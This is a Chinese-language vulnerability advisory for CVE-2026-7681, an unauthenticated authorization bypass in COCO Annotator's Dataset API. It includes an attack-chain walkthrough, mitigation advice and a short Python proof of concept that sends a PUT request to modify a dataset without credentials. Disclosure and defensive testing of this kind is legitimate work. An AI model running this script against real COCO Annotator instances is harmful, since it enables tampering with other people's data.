IPBUF安全漏洞报告
English
CVE-2026-7681 CVSS 6.5 中危

CVE-2026-7681 COCO Annotator授权绕过漏洞

披露日期: 2026-05-03

漏洞信息

漏洞编号
CVE-2026-7681
漏洞类型
授权绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jsbroks COCO Annotator

相关标签

授权绕过COCO AnnotatorAPI安全未授权访问

漏洞概述

jsbroks COCO Annotator 0.11.1及之前版本存在安全漏洞。该漏洞位于Dataset API组件的backend/webserver/api/datasets.py文件中。由于对参数DatasetId的操纵导致授权绕过,攻击者无需认证即可远程发起攻击。目前漏洞利用细节已公开,且厂商尚未回应。

技术细节

该漏洞源于Dataset API组件在处理数据集相关请求时,未对DatasetId参数进行充分的权限验证。攻击者可以通过构造特制的HTTP请求,修改DatasetId参数,从而绕过身份验证机制。这使得未经授权的远程攻击者能够访问或修改本应受保护的数据集。由于无需用户交互且攻击复杂度低,该漏洞容易被利用。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别出运行jsbroks COCO Annotator的目标系统,并确定其API端点。
STEP 2
2. 发起攻击
攻击者构造包含恶意DatasetId参数的HTTP请求(如PUT或POST请求),发送至/backend/webserver/api/datasets.py接口。
STEP 3
3. 绕过授权
由于系统未对DatasetId进行有效的权限校验,攻击者成功绕过身份验证,获得对指定数据集的访问或修改权限。
STEP 4
4. 数据篡改
攻击者利用获取的权限对数据集进行未授权的修改、删除或其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable API endpoint target_url = "http://target-host:port/api/datasets/{dataset_id}" # Attempt to modify a dataset without authentication by manipulating the DatasetId malicious_dataset_id = 1 # Example ID payload = { "name": "Hacked Dataset", "description": "Unauthorized modification" } try: # Sending a PUT request to modify the dataset response = requests.put(target_url.format(dataset_id=malicious_dataset_id), json=payload) if response.status_code == 200: print("[+] Exploit successful! Dataset modified.") print("Response:", response.text) else: print("[-] Exploit failed or endpoint not vulnerable.") print("Status Code:", response.status_code) except Exception as e: print(f"Error: {e}")

影响范围

jsbroks COCO Annotator <= 0.11.1

防御指南

临时缓解措施
由于厂商尚未回应,建议立即限制对Dataset API的外部网络访问,并在WAF或反向代理层添加针对DatasetId参数的校验规则,确保只有经过认证的请求才能通过。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表